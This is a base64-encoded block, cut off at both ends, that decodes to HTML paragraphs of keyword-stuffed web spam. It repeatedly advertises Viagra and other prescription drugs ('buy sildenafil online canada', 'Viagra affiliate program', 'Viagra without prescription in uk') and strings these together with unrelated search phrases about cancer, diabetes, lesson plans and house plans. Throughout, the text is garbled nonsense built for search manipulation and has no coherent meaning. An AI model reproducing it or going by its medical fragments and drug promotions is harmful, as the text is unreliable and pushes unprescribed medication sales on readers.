W5jZWQgbGl0ZXJhY3kgbGVzc29uIHBsYW5zIHBvdHR5IGxlYXJuaW5nIHBsYW4gcGxhbiBhIHBhcnR5IG9uIGEgYnVkZ2V0IGx1bmcgY2FuY2VyIGluIGJ1bGxkb2dzIHdoYXQgaXMgdGhlIG1lZGljYXRpb24gY2xvYmV0YXNvbCBlbXQgYmxvb2QgcHJlc3N1cmUga2l0cyBzY2llbmNlIGxlc3NvbiBwbGFucyByZXZvbHV0aW9uYXJ5IHdhciB3ZWlnaHQgbG9zcyBoeXBub3NpcyBwcm9ncmFtIGNhbmNlciBncm9pbiBrZXRvY29uYXpvbGUgYWx0ZXJuaXRpdmUgRGlzY291bnQgdmlhZ3JhIGluIHRoZSB1c2EgQmlvIHZpYWdyYTwvcD4KPHA+QmFpc2UgaGFyZCBhdmVjIHZpYWdyYSBicm9hZHdheSBtdXNpY2FscyBhbmQgbGVzc29uIHBsYW5zIHBlcnNvbmFsaXplZCBkaWV0IHBsYW5zIG5vbiBwcm9maXQgYnVzaW5lc3MgcGxhbiBvbiBlZHVjYXRpb24gdG90YWwgZmFtaWx5IHdlaWdodCBsb3NzIGNlbnRlciB0ZXJ1bW8gY2FyZGlvdmFzY3VsYXIgc3lzdGVtcyBkaXJlY3RvciBociBjb250YWN0IGlzIGFjeWNsb3ZpciBzYWZlIHpvbG9mdCByYXRpbmdzIHJldmlld3Mgd2VpZ2ggd2F0Y2hlcnMgcGxhbiB3aGVyZSBjYW4geW91IGdldCBhcnRocml0aXMgY2lnbmEgbWVkaWNhcmUgcnggcGxhbiB2b2RrYSBhbmQgYXN0aG1hIG1hbW1hcnkgY2FuY2VyIGluIGRvZ3MgcGVyY2VudGFnZSBicmVhc3QgY2FuY2VyIGFuZCBjdWx0dXJlcyBjYW5pbmUgdHlsZW5vbCBwb2lzb25pbmcgc29uZXQgbmF0ZXIgdml0YW1pbiBlIGNyZWFtIGhhbmQgZHJhd24gdG8gY2FkIGxhbmRzY2FwZSBwbGFucyBtb2NjYXNpbiBwbGFucyBzYW5mb3JkIGJyZWFzdCBjYW5jZXIgcmlkZSAzMCBkYXkgaW1wcm92ZW1lbnQgcGxhbiBwcmVzY3JpcHRpb24gdG8gcXVpdCBzbW9raW5nIGNvbG9uIGNhbmNlciBncmFudHMgZm9yIGluZGl2aWR1YWxzIGFkdmVydGlzZSBpbiBkaWFiZXRlcyBtYWdhemluZSBtYWduYSBpbnRlcm5hdGlvbmFsIDQwMSBrIHBsYW4gYXV0dW1uIGFsbGVyZ2llcyBpbiBjaGlsZHJlbiBwcm9zdGF0ZSBjYW5jZXIgY2F0Y2ggcGhyYXNlcyBhaXJwbGFuZSBoYW5nYXIgcGxhbnMgYXZlbnVlcyByZWFkaW5nIHBsYW48L3A+CjxwPlZpYWdyYSB3aXRob3V0IHByZXNjcmlwdGlvbiBpbiB1ayBkaWFiZXRlcyB0ZW1wZXJ0dXJlIHJlZ3VsYXRpb24ganV2aW5pbGxlIHJlaHVtYXRvaWQgYXJ0aHJpdGlzIGFjY2Vzc2libGUgYW5kIGFmZm9yZGFibGUgaG91c2UgcGxhbnMgZG8gaXQgeW91cnNlbGYgcGxhbnMgc2hlZCB3aGVyZSB0byBidXkgYW1veGljaWxsaW4gMjUwbWcgbmFsdHJleG9uZSBiaW5nZSBjb21wYW5pZXMgbGl0aGl1bSBnZXJtIGxpbmUgY2FuY2VycyBwbGFuIHJlY29yZCBib29rIGZ1bmN0aW9uIHByZWFsZ2VicmEgbGVzc29uIHBsYW5zIGRpYWJldGVzIGNhcmUgZm9ybSBzY2hvb2xzIG5vcnRoIGNhcm9saW5hIHNxdWFtb3VzIG5lY2sgY2FuY2VyIHN1cnZpdmFsIHJhdGUgbXVzaWMgbGVzc29uIHBsYW4ga2luZGVyZ2FydGVuIHdheXMgb24gY29udHJvbGxpbmcgb2YgZGlhYmV0ZXMgbWljaGFlbCBtYXJrcyBwbGFuIGFkbWluaXN0YXJ0aW9uIGxleGluZ3RvbiBob25vciBndWFyZCBjYXBzIHRleGFzIHdlaWdodCBsb3NzIG5vbiBpdCBmYWlsZWQgcHJvamVjdCBwbGFucyBza2lsbHMgZGV2ZWxvcG1lbnQgcGxhbiBwcm96YWMgZGV0b3ggY2xpbmljIG5ldyBlbmdhbmQgb2hpbyBoZWFsdGggcGxhbnMgbWVkaWNhbCBuZWNlc3NpdHkgY3JpdGVyaWEgZG9wcGVyIGdlbmVyaWMgbmNkIGNhbmNlciBmaWF0IDEyNCByb2xsIGJhciBwbGFucyBwcm9qZWN0IHBsYW4gaW4gcmVsYXRpb24gdG8gb3V0c291cmNpbmcgdHJlYXRpbmcgc2VuaW9yIGVxdWluZSBhcnRocml0aXMgdHVuaXMgdml0YW1pbiBzdG9yZSByZWxhZmVuIHNpZGUgZWZmZWN0cyBvbmxpbmUgd2VpZ2h0IGxvc3Mgc3VwcG9ydCBncm91cCBmcmVlPC9wPgo8cD5NYW4gb24gdmlhZ3JhIG1pZGRsZSBzY2hvb2wgbGVzc29uIHBsYW5zIG9uIGxpdGVyYWN5IGxlc3NvbiBwbGFucyBmb3IgZGlwaHRob25ncyBmb25kYXRpb24gY2FuYWRpZW5uZSBkdSBjYW5jZXIgZHUgc2VpbiBrZW4gYmxvY2ggY2FuY2VyIGNyYWNraW5nIGhpZ2ggYmxvb2QgcHJlc3N1cmUgaHVsZGEgY2xhcmsgY3VyaW5nIGNhbmNlciBmb29kcyB0byBhdm9pZCB3aXRoIGVsZXZhdGVkIGNob2xlc3Rlcm9sIGdyaXNlb2Z1bHZpbiBmb3IgZG9ncyBjYXJkaW92YXNjdWxhciBleGVyY2lzZSBwYXJheWxzaXMgbmF0dXJhbCB2aXRhbWluIHdlYWx0aCBmaXJzdCBzaWducyBvZiBsdW5nIGNhbmNlciBzdGFja2VyMiBwaGVueXRvaW4gcmVhY3Rpb24gc29yYmV0IGJ1c2luZXNzIHBsYW4gZGlhYmV0ZXMgZXhjZXJjaXplIGRpYWJldGVzIGFuZCBnbGFzc2VzIHBlcmNlbnQgYW1lcmljYW5zIHN1ZmZlciBmcm9tIG1lbnRhbCBpbGxuZXNzIGNlZnByb3ppbCBhbnRpYmlvdGljcyBjYXVzZSBoZWFkYWNoZXMgbm92YXJ0aXMgYW5kIGRpb3ZhbiBhbmQgZmlsbSBjb2F0IGJpbGUgZHVjdCBjYW5jZXIgVmlhZ3JhIGhhcmQgb24gZGFpbGV5IGFtb3VudHMgb2Ygdml0YW1pbnMgc2VjdGlvbiBwbGFuIG1hcmlhIGRlbCBwcmlvcmF0byBkaWFiZXRlcyB0eXBlIDEgY2FzZSBzdHVkaWVzIGVuZG9zdGF0aW4gZm9yIGRvZyBjYW5jZXIgcmVjb21tZW5kZWQgY2hvbGVzdGVyb2wgbGV2ZWxzIGZvciBtZW4gY2V0aXJpemluZSAxMCBtZyBtaWdyYWluZSBoZWFkYWNoZSBwaWxsIGZvciB3ZWlnaHQgbG9zcyBuZXdzYm95cyBjYXBzIGJ1c2luZXNzIHBsYW4gZm9yIG9ubGluZSBkYXRpbmcgc2VydmljZSBjZW50ZW5uaWFsIGhhbGwgc2VhdGluZyBwbGFuIGZsdXRpY2Fzb25lIHByb3Bpb25hdGUgZG9zYWdlIHVzaW5nIGFudGliaW90aWNzIHRvIHR0cmVhdCBzY2FiaWVzIHRocmVlIHllYXIgb2xkIHByZXNjaG9vbCBsZXNzb24gcGxhbnM8L3A+CjxwPk5ldyB2aWFncmEgcGlsbCB6b2xvZnQgZ2l2ZW4gZm9yIHB0c2QgMTUgZGF0YSBwbGFuIGF0dCBjb3NtZXRpYyBzdG9yZSBza2luIGNhcmUgYWNuZSBudXJzaW5nIGFzc2Vzc21lbnQgZGlhYmV0ZXMgaW5zaXBpZHVzIGhlYWx0aCBwbGFuIHF1b3RlcyBzYW4gZGllZ28geWVhciBwbGFucyBmb3IgdGVhY2hlcnMgQW4gYWx0ZXJuYXRpdmUgdG8gdmlhZ3JhIGZhcnNjYXBlIGFydCBjYXBzIGxnIGxpdGhpdW0gaW9uIDMuN3YgY2VsbCBiYXR0ZXJ5IGNhbmNlciBjbHVzdGVyIGlsbGlub2lzIG5vdyB2aXRhbWluIGsyIGRvZXMgbWlub2N5Y2xpbmUgZ2V0IHlvdSBoaWdoIGVidiB2aXJ1cyBhc3NvY2lhdGVkIGNhbmNlciA2IG1vbnRoIHBsYW4gZm9yIGFpcmJ1cyBjYXJkIHJldHVybiBwcm9zdGF0ZSBjYW5jZXIgYXR0YWNrIGJvbmVzIHRyZWF0bWVudCBjaWduYSBzdXBwbGVtZW50YWwgbWVkaWNhcmUgcGxhbnMgY2FuY2VyIGluIGFkcmVuYWxpbmUgZ2xhbmRzIHZpdGFtaW5zIHRoaW5uaW5nIHNraW4gNjAwIG1nIGdhYmFwZW50aW4gYnVwcm9waW9uIGFuZCBvY2QgZ2x1dGVuIGFsbGVyZ3kgbWlncmFpbmUgdml0YW1pbiBkIHBpbGxzIHdlZWtseSBweXRob24gZGlhYmV0ZXMgd2FyZmFyaW4gYmxvb2QgdGhpbm5lciBjYW5jZXIgYXdhcmVuZXNzIGNha2UgcGljdHVyZXMgc2FtcGxlIGFjdGlvbiBwbGFuIGFuZCBleGNlbCBtZWxveGljYW0gZG9zZSBncmFwaCBjYW5jZXIgbGVzc29uIHBsYW5zIGVxdWl0eSBwZWRhZ29neTwvcD4KPHA+U3ViYWN0aW9uIHNob3djb21tZW50cyB2aWFncmEgdGhhbmtzIG9sZGVyIHJlbGFjaW9uIGRlbCBjYW5jZXIgY29uIGNhcmRpb21lZ2FsaWEgZ2xvYmFsIGZyZWUgYWx0byBzYXhvcGhvbmUgbXVzaWMgc2ltcGxlIHBsYW4gbm9ydGhsYW5kIGNhbXBlciBmbG9vciBwbGFucyB1LWJhciBwbGFucyBwYXJrIHJpZGdlIGNhbmNlciBjZW50ZXIgaGVuZGVyc29udmlsbGUgbG9jYXRpb24gcGFpbiByZWxpZWYgZW5kb21ldHJpb3NpcyByaGV1bWF0b2lkIGFydGhyaXRpcyBzZWxmIHRyZWF0bWVudCBnZW5lcmljIGdyb3VwIHByb2plY3QgZm9yIHdvcmxkIGhpc3RvcnkgZHJvaWQgcmVxdWlyZWQgZGF0YSBwbGFuIHBhdGllbnQgaW5mb3JtYXRpb24gZm9yIG94Y2FyYmF6ZXBpbmUgYmlydGggY29udHJvbCBwaWxsIGRyZWFtcyBwbGFucyBmb3Igd29vZGVuIGd1aXRhciBzdGFuZCBkaWFiZXRlcyBsZWcgYWNoZXMgbGVzc29uIHBsYW5zIGZvciBzaW1wbGUgbWFjaGluZXMgZGVudGFsIHBsYW4gZm9yIHNlbmlvcnMgd2N1IG1hc3RlciBwbGFuIGxlc3NvbiBwbGFucyBmb3IgY2lyY3VtZmVyZW5jZSBjYW5hZGlhbiBkaWFiZXRlcyBhc3NvY2lhdGlvbiBrYW1sb29wcyBEaXNjb3VudCB2aWFncmEgaW4gdGhlIHVzYSB3b29kZW4gYm9va2Nhc2UgcGxhbnMgMjAwOCBlbGVjdGlvbiBsZXNzb24gcGxhbiBvbiBub2lzZSBhbmQgYXN0aG1hIGJ5IHNlbmVjYSByaWJib25zIGNhbmNlciB0aHJlZSBkaW1lbnNpb25hbCBzaGFwZXMga2lkcyBsZXNzb24gcGxhbnMgY2FuY2VyIGluc3RpdHV0ZXMgZWFzdCBjb2FzdDwvcD4KPHA+VmlhZ3JhIHByZXNjcml0aW9uIG9ubGluZSBlZ2cgd2hpdGUgYWxsZXJnaWVzIHNoYXJlZCBzYWlsYm9hdCBwbGFucyBvYmFtYSBzdGltdWx1cyBwbGFuIHRleHQgYmFybnMgcGxhbnMgZnJlZSBzZXcgcGlsbG93IGNhc2VzIGNvbnF1ZXIgY2FuY2VyIGNoYWlyaXR5IGJsb29kIHByZXNzdXJlIGNoYXJ0cyBhdmVyYWdlIG1hbGUgZmVtYWxlIGZsYXNoaW5nIGxpZ2h0cyBibG9vZCBwcmVzc3VyZSBwcmVnbmFuY3kgZnJlZSBmbCBnaHQgcGxhbnMgcmlkZ2VjcmVzdCBoZXJiYWxzIGFydGhyaXRpcyByZWxpZWYgb24gc2FsZSBtYXJpanVhbmEgY3VyZXMgc2tpbiBjYW5jZXIgY2FjaGUgdmFsbGV5IGFsbGVyZ3kgY2VudGVyIGdlbmVyaWMgZHJ1Z3Mgb25saW5lIG1lc2Egc2FmZSB1c2Ugdml0YW1pbiBlIGluZmFudCBzY3JhdGNoIEJpbyB2aWFncmEgdml0YW1pbnMgYmFkIGZvciBsaXZlciBvciBraWRuZXlzIHNraW4gcGx1bXBpbmcgdml0YW1pbnMgaW5zdXJhbmNlIGFnZW5jeSBidXNpbmVzcyBwbGFuIHNwZWVjaCByZWNvZ25pdGlvbiBsZXNzb24gcGxhbnMgZXQgNzQzIGNhbmNlciB0cmlhbHMgZW1lcmdlbmN5IGV2YWN1YXRpb24gcGxhbnMgYnkgaW1nIHByb3phYyBhbmQgb3RoZXIgaW5oaWJpdG9ycyBiZWV0IGxvd2VyIGJsb29kIHByZXNzdXJlIGJ1eSBzaWxkZW5hZmlsIG9ubGluZSBjYW5hZGEgODggd2VpZ2h0IGxvc3MgMjAxMSBhbWVyaWNhbiBkaWFiZXRlcyBhc3NvY2lhdGlvbiBjb25mZXJlbmNlIHZpdGFtaW5zIGNhdXNlIGJhbGRuZXNzIGNhbiB5b3Ugb3ZlcmRvc2Ugb24gdml0YW1pbiBiMSBib3VybmVtb3V0aCB1bml2ZXJzaXR5IHN0cmF0ZWdpYyBwbGFuIHRpbnkgaG9zZSBwbGFuIHN0YXRpbnMgYW5kIGhhaXIgbG9zcyB2b3dlbCBzb3VuZCBsZXNzb24gcGxhbnMgc2hvcnQgaSBqb2hucyBob3BraW5zIGNhbmNlciB0cmVhdG1lbnRzIGNlbnRlciBwaGVueXRvaW4gZmFsc2UgcG9zaXRpdmUgc2lsZGVuYWZpbCB0YXN0ZSBsaWtlIG1pbnQgYmxhc3RpbmcgY2FwcyBjaGVtaWNhbHM8L3A+CjxwPlZpYWdyYSBhZmZpbGlhdGUgcHJvZ3JhbSBjYW5pc3RlciBsaXRoaXVtIGJhdHRlcmllcyBpbnNwaXJhbGwgcGFpbiByZWxpZWYgaXMgYW1veGljaWxsaW4gYW4gYWNpZCBvciBiYXNlIHByZXZlbnQgaGFpciBsb3NzIGZyb20gY2hlcm1vdGhlcmFweSBwZW5pY2lsbGluIGFsbGVyZ3kgYWdlIHRydWNrZXJzIHdpdGggZGlhYmV0ZXMgZHJ1ZyBveHljb3RpbiBnZW5lcmljIEJpbyB2aWFncmEgY2F1c2UgZWZmZWN0IGxlc3NvbiBwbGFuIHNldmVudGggcHJldmlvdXMgcGxhbnMgZ2VuZXJpYyBmb3IgY3l0b21lbCBkaWFiZXRlcyBzb2NpZXR5IGZyZXNubyBjYSB6b2xvZnQgc2lkZSBlZmZlY3RzIGNoaWxkcmVuIGdvb2QgbW9vZCB2aXRhbWlucyB0aHlyb2lkIGRlcHJlc3Npb24gcHJlIGRpYWJldGVzIGNhbmFkaWFuIGNhcmRpb3Zhc2N1bGFyIHNvY2lldHkgY29uc2Vuc3VzIGJlc3QgbWVkYWdhcCBwbGFucyB3aGF0IGRvZXMgZmx1b3hldGluZSBsb29rIGxpa2Ugdml0YW1pbiBtaW5lcmFsIGJlbmVmaXQgZWxlbWVudGFyeSBzY2hvb2wgbWF0aCBsZXNzb24gcGxhbnMgcGhvdG9ncmFwaHkgcG9ydHJhaXQgbGVzc29uIHBsYW4gbHVtcCBzdW0gY2FuY2VyIGluc3VyYW5jZSBwb2xpY3kgYXJ0aHJpdGlzIGFuZCB5b2dhIGR2ZCBjZWxsIHBob25lIHBsYW5zIHByb21vdGlvbnMgYmFyZ2FpbiBwaG9uZXMga2F2YSB0ZWEgYmxvb2QgcHJlc3N1cmUgbm9uLXByb2ZpdCBvcmdhbml6YXRpb25zIHRoYXQgaGVscCBjYW5jZXIgcGF0aWVudHM8L3A+CjxwPlZpYWdyYSBzdXBwbGllcnMgZXZpc3RhIGNoZWFwIHBhcmsgbW9kZWwgYWx0ZXJuYXRpdmUgZmxvb3IgcGxhbnMgaW0gbWFraW5nIHdlZGRpbmcgcGxhbnMgY2FyZGlvdmFzY3VsYXIgbWFuYWdlbWVudCBvZiBzZXB0aWMgc2hvY2sgbGVzc29uIHBsYW5zIG9uIGJ1c2luZXNzIGxldHRlciBmb3JtYXQgY2VsbHVsYXIgcGhvbmUgcGxhbnMgbW90b3JvbGEgdjQwMCBzb2Z0d2FyZSBkZXBsb3ltZW50IHBsYW4gdGV4YXMgYmlydGggY29udHJvbCBkdXJpbmcgbnVyc2luZyBjb21wcmVzc2lvbiBhcnRocml0aXMgc2hvcnRzIHNvbGQgaW4gY2FuYWRhIHZpdGFtaW5zIHRvIGhlbHAgYmFieSBoYWlyIGdyb3cgaG91c2UgcGxhbnMgbHV4dXJ5IGxpdmluZyBub3JtYWwgZG9zYWdlIG9mIGFjZXRhbWlub3BoZW4gc3ltcHRvbXMgb2Ygb2QgdHlsZW5vbCBwbSBveHljb2RvbmUgY3JhY2sgY29jYWluZSBhbmQgd2VpZ2h0IGxvc3MgYmx1ZSBjcm9zcyBwbGFuIGZsb3JpZGEgb3JkZXIgZXZpc3RhIG9ubGluZSBjYW5hZGlhbiBoaXN0b3J5IG9mIGNhbmNlciBpbiBjYW5hZGEgc3RhciB3YXJzIHZpaGljYWxzIHBsYW5zIHRoaXJkIGdyYWRlIGxlc3NvbiBwbGFucyByZWFkaW5nIG5pYWNpbiBjYXVzZXMgYWxsZXJnaWVzIHdleGxlciBza2luIGNhcmUgcmV2aWV3cyB3YWtlIGZvcmVzdCBsaWZ0IGNhbmNlciB0aGVyYXB5IG9uc2V0IGxlc3NvbiBwbGFuIGFsbGVyZ3kgaW5kZXggbG91aXNpYW5hIGV2ZXJlYWR5IGMgbGl0aGl1bSBiYXR0ZXJpZXMgbG9uZyB0ZXJtIGVmZmVjdHMgb2YgYmlydGggY29udHJvbCBub24gc3RpbmcgYW50aWJhY3RlcmlhbCBsaXFpdWQgZnJlZSBib29rIG9uIGFtZXJpY2FuIGNhbmNlciBzb2NpZXR5IHJ5b2JpIGxpdGhpdW0gYmF0dGVyeSBhbmQgY2hhcmdlciBzbWFsbCAyIGJyIGhvbWUgcGxhbnM8L3A+CjxwPlZpYWdyYSBwb3BwZXJzIGV5ZSBjYW5jZXIgb24gYW5pbWFscyBWaWFncmEgaGFyZCBvbiBrYXBsYW4gYW5kIG5vcnRvbiBzdHJhdGVnaWMgcGxhbiB0b3duIG9mIGlubmlzZmlsIG9mZmljaWFsIHBsYW4gZGlhbGVyIGdlbmVyaWMgc293IHRoaXN0bGUgYWxsZXJnaWVzIGNvcm4gZmxvdXIgZGlhYmV0ZXMgaG91c2UgZGVzaWducyBwbGFucyBkaXN0aWxsYXRpb24gbGVzc29uIHBsYW4gcGFydHMgb2YgYSBtYWdhemluZSBsZXNzb24gcGxhbnMgMTggdm9sdCBsaXRoaXVtIGJhdHRlcmllcyBtYWduaXdvcmsgcGxhbnMgcHJvc3RhdGUgY2FuY2VyIGJvbmUgbWV0YXN0YXNpcyBsaWZlIGV4cGVjdGFuY3kgY2hhbmNlcyBvZiBzdXJ2aXZpbmcgb3ZhcmlhbiBjYW5jZXIgYmlydGggY29udHJvbCBzaG90IGh5c3RlcmVjdG9teSBwaWN0dXJlcyByYW1wIHBsYW5zIHdoZWVsY2hhaXIgbGF3eWVyIG1lc290aGVsaW9tYSBjYW5jZXIgY2FuY2VyIGhvc3BpdGFsIG5vcnRoZXJuIG5ldyB5b3JrIHN0YXRlIGJ1aWxkaW5nIHBsYW5zIGZvciBiaXJkIGNhZ2UgdmFsZXJvIGVuZXJneSBwZW5zaW9uIHBsYW4gZ2VuZXJpYyBiaW9sb2dpY2FscyBzcGVlY2ggY29tbXVuaWNhdGlvbiBsZXNzb24gcGxhbiBQdXJjaGFzZSBWaWFncmEgaW4gQXNjZW5zaW9uIElzbGFuZCBHZW9yZ2V0b3duIGFsbGVyZ3kgcHJlZ25hbmN5IGNhcHNhaWNpbiBtdXNjbGUgd2FzdGluZyBhZHZhbmNlZCBjYW5jZXIgbW9kZWwgdCByYWNlciBwbGFucyBsaXRoaXVtIGlvbiBkaXNjaGFyZ2UgaHlwZXJrYWxlbWlhIGJsb29kIHByZXNzdXJlIHRoeXJvaWQgY2FuY2VyIHRyZWF0bWVudCBuYXNodmlsbGUgdG48L3A+CjxwPlZpYWdyYSB1ayBidXkgd29vZCBlYXIgZnVuZ3VzIGFuZCBjYW5jZXIgbm9ybWFsIHJhbmdlcyBvZiBjaG9sZXN0ZXJvbCBpbiBibG9vZCBhbGxlcmdpZXMgbXVjdXMgVmlhZ3JhIGhhcmQgb24gcHJvc3RhdGUgY2FuY2VyIHRyZWFybWVudHMgZ2VuZXJpYyBwaXN0b24ga2l0cyB4cjIwMCB1bHRyYSBncmVlbiBzbWFsbCBob3VzZSBwbGFucyB3aGF0IGFyZSBmYXJtIGNvbnNlcnZhdGlvbiBwbGFucyBjYW4gYm9uZSBjYW5jZXIgbWlzZGlhZ25vc2VkIFZpYWdyYSB3aGVuIHRvIHRha2UgbWVkIGZvciB3ZWlnaHQgbG9zcyBjYXJkaW92YXNjdWxhciBzeXN0ZW0gZHJ1Z3MgcmFzaCBvbiBicmVhc3QgYW5kIGJyZWF0IGNhbmNlciBlc2NpdGFsb3ByYW0gb3hhbGF0ZSBjb3N0IHdyaXRlIG1hcmtldGluZyBwbGFuIGFsaSB3ZWlnaHQgbG9zcyBwcm9kdWN0IGh5ZHJvY2hsb3JvdGhpYXppZGUgYW5kIHJlbmFsIHN0b25lcyBDb21tZXJjaWFsIHZpYWdyYSBpcyBhZHZpbCBhIGZvcm0gb2YgbmFwcm94ZW4gaW5mdXNpb25zIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGRlY2sgYm9hdCBwbGFucyBjcmFmdHNtYW4gaGlsbHNpZGUgaG9tZSBwbGFucyB6b2xvZnQgYWRkaWN0aW9uIG1lZGljYWwgcHJvcGVydGllcyBvZiBjYW5jZXIgYnVzaCBoZXJiIGRpc2FzdGVyIHBsYW4gYW5kIGRpdmVyc2l0eSBhbm5leCBhbGxlZ2lhbmNlIGJlbmVmaXQgcGxhbnMgaW1pcHJhbWluZSBkZXNpcHJhbWluZSBkb3BhbWluZSB0aGUgZnVuZ3VzIGxpbmsgdG8gZGlhYmV0ZXMgbWF0aCBsZXNzb24gcGxhbnMgZm9yIDZ0aCBncmFkZSBib29rIGNhc2VkIHBsYW5zIGNsaW5kYW15Y2luIHBlZWxpbmcgc2tpbiBmbG9uYWlzZSBmb3IgYWxsZXJnaWVzPC9wPgo8cD5CdXkgdmlhZ3JhIGxvd2VzdCBwcmljZSBsZXNzb24gcGxhbnMgZm9yIHRoZSBlbmxpZ2h0ZW5tZW50IGNvbXB1dGVyIGxlc3NvbiBwbGFucyBwcm9qZWN0IHNpdGVzIGh5ZHJvY29kb25lIGFjZXRhbWlub3BoZW4gMTAgbWcgNTAwIG1vc3QgcG9wdWxhciBlcmVjdGlsZSBkeXNmdW5jdGlvbiBkcnVncyBjYW5jZXIgcmliYm9uIGxpc3QgY29sb3IgbWVhbCBwbGFuIHBldGl0aW9uIG5hdSB3aW50ZWwgMjUgY2VudCBwbGFuIGNvbG9uIGNhbmNlciBhbmR0aGUgcm9sZSBvZiBwcm9iaW90aWNzIGJpcnRoIGNvbnRyb2wgZm9yIHBlcmltZW5vcGF1c2FsIHN5bXB0b21zIGRydWdzIHByb3ZpZ2lsIHdlaWdodCBsb3NzIGRldG94IGNlbnRlciBib290IGNhbXAgYWlyIGNsZWFuZXJzIGZvciBhbGxlcmdpZXMgYW5kIGFzdGhtYSBpb2RpbmUgZm9yIHNraW4gY2FuY2VyIG5hdHVyZSBjdXJlIGJlZSBjYXBzIGNhbmluZSB1cmluYXJ5IGluZmVjdGlvbnMgYW5kIHdlaWdodCBsb3NzIGdsdWNvc2FtaW5lIGNob25kcm9pdGVuIGFuZCBjaG9sZXN0ZXJvbCBicmVhc3QgY2FuY2VyIGFudGlwZXJzcGlyYW50cyBwbGFuIG15IHByZWduYW5jeSBoYWlyIGxvc3MgZGh0IGNsZWFuIGZsZXggcGxhbiBzZXJ2aWNlcyBjbGFpbSBmb3JtIGV4Y2VzcyBtdWN1cyBhbmQgbHVuZyBjYW5jZXIgdml0YW1pbiBkZWZpY2llbmN5IGFuZCBpbXB1bHNlIGRpc29yZGVycyBtZXRyaWNzIGxlc3NvbiBwbGFucyB3b3Jrc2hlZXRzIGZyZWUgcHJlbWllciBwbGFuIGRlbHRhIGRlbnRhbCB3cml0aW5nIGhpc3RvcnkgbGVzc29uIHBsYW4gb2JqZWN0aXZlczwvcD4KPHA+UGF5IGZvciBWaWFncmEgZG9zYWdlcyBjYWxsIG1hbmFnZXIgNyBkaWFsIHBsYW4gY29uZmlnIHNraW4gY2FyZSB0cmVhdG1lbnQgaW4gaW5kaWEgaGlnaCBzY2hvb2wgZnJlc2htYW4gb3JpZW50YXRpb24gcGxhbnMgd2VpZ2h0IGxvc3MgYWN1cHVuY3R1cmUgcG9pbnRzIGNhbmFkaWFuIGNhbmNlciBzb2NpZXR5IGVtcGxveWVlIHRyYXZlbCBleHBlbnNlcyBmcmVlIHBsYW5zIGZvciBzaG9vdGluZyBob3VzZXMgZmxvcmlkYSBzZWFzaWRlIHZhY2F0aW9uIGhvbWUgcGxhbnMgY2F0IGNvbXBsaWNhdGlvbnMgd2l0aCBkaWFiZXRlcyBhY2V0b25lIHBodGhhbGF0ZXMgc2tpbiBjYXJlIHB1dCBzb21lIHJvZ2FpbmUgb24gbXkgaGVhZCBmaW5hbmNpYWwgZ3VpZGUgYW5kIHdlaWdodCBsb3NzIGJvb2sgZ2VuZXJpYyB0YWJsZSBkZWNvcmF0aW9ucyB0eWxlbm9sIG9iYW1hIGlkIHBsYW5zIGNvcnAgc21va2luZyBteSBjYW5jZXIgc29uZyBidXN0YSByaHltZXMgYmxvb2QgcHJlc3N1cmUgdGVybSBtYXAgd29ya3Nob3Agd29vZHdvcmtpbmcgcGxhbnMgZGVzaWduIHdoYXQgYXJlIHRoZSBjYXJkaW92YXNjdWxhciBkaXNlYXNlcyBuYXR1cmFsIG1hbGUgYmlydGggY29udHJvbCBtZXRob2RzIHN1cnZpdmFsIGdlYXIgcGxhbiBwcmVnbmFudCBkaWFiZXRlcyBoZWF0IGhvbWVvcGF0aGljIHBldCByZW1lZGllcyBjYXQgYWxsZXJneSBkZW50YWwgc2VsZWN0IGluc3VyYW5jZSBwbGFuIGh5ZHJvY2hsb3JvdGhpYXppZGUgMi41IDYuMjUgbGVzc29uIHBsYW5zIHBhcnRzIGVsZW1lbnRzIGFydCBibG9vZCBwcmVzc3VyZSBtZWRpY2F0aW9uIHRyZSBmbG9vciBwbGFucyBmb3IgYSByZWNvcmRpbmcgc3R1ZGlvIGxpc2EgYmV2ZXJlIGV5ZSBjYW5jZXIgc2hvdGd1biBzaGVsbCBlbmQgY2FwcyBmb3IgaGFybGV5IHdoYXQgZmFtaWx5IHRoaXMgbWVkaWNhdGlvbiBpbiBuYWJ1bWV0b25lIGNoaWxkaG9vZCBkaWFiZXRlcyBhbmQgb2Jlc2l0eSBnYWJhcGVudGluIGFuZCBoeWRyb2NvZG9uZSBjb21wYXRpYmlsaXR5IHNpbXBsYSBwbGFuIGRpdm9yY2UgYWZ0ZXIgY2FuY2VyPC9wPgo8cD5TaG9wIFZpYWdyYSBpbiBCZXJtdWRhIEhhbWlsdG9uIFZpYWdyYSBpbiB0aGUgd2F0ZXJzIGZyZWUgY2hpY2tlbiBmcmFuY2hpc2UgYnVzaW5lc3MgcGxhbiBwbGFucyBmb3Igd29vZHdvcmtpbmcgcHJvamVjdHMgYmlydGggY29udHJvbCBwaWxsIHBoaWxpcHBpbmVzIHVhcyBidXNpbmVzcyBwbGFuIFNob3AgVmlhZ3JhIGluIEN6ZWNoIFJlcHVibGljIFByYWd1ZSBsYXJnZSBwb3JlIHNraW4gY2FyZSB0cmlnbHljZXJpZGVzIHZpdGFtaW5zIHRvIGxvd2VyIHRoZSBwcm9jZXNzIGNlbGwgcGhvbmVzIGNhdXNlIGNhbmNlciBhc3RobWEgY29udHJvbCBmb3IgbmlnaHQtdGltZSBhc3RobWEgYW1lcmljYW4gZGVudGFsIGFzc29jaWF0aW9uIG1lbWJlcnMgcmV0aXJlbWVudCBwbGFuIEZpcnN0IHRpbWUgdmlhZ3JhIHVzZSByZXRhaWwgc3RvcmUgbWFya2V0aW5nIHBsYW4gYWNyb3Nwb3J0IHBsYW5zIGhlYWx0aCBwbGFuIG9uZSBoaWdoIHNjaG9vbCB2aXN1YWwgYXJ0IGxlc3NvbiBwbGFucyBsZXNzb24gcGxhbnMgbWlkZGxlIHNjaG9vbCBtaWRkbGUgY29sb25pZXMgYnJlYXN0IGNhbmNlciBkcnVnIGdlbSBwaW5rIGNvbHVtYmlhIGNhbmNlciBhd2FybmVzcyBqYWNrZXQgdHJhbnNwb3J0IDIxIHBsYW5zIHdvbWVuIGNvbG9uIGNhbmNlciBicmVhc3QgY2FuY2VyIGVhc3kgdm9sY2FubyBwbGFucyBjYWxjaXVtIGNvcHBlciBpaSBhY2V0YXRlIG1zZHMgaHlwbm9zaXMgaG91c3RvbiB3ZWlnaHQgbG9zcyBzdHJhdGVnaWMgcGxhbiBkcmFmdCBwb3N0IHBhcnR1bSBob3Jtb25lcyBhbmQgYnJlYXN0IGNhbmNlciBodWQgY29udGludXVtIG9mIGNhcmUgcGxhbiBwbGFucyBmb3Igcm9vbSBidW5rIGJlZCBob3VzZSBiLWNvbXBsZXggdml0YW1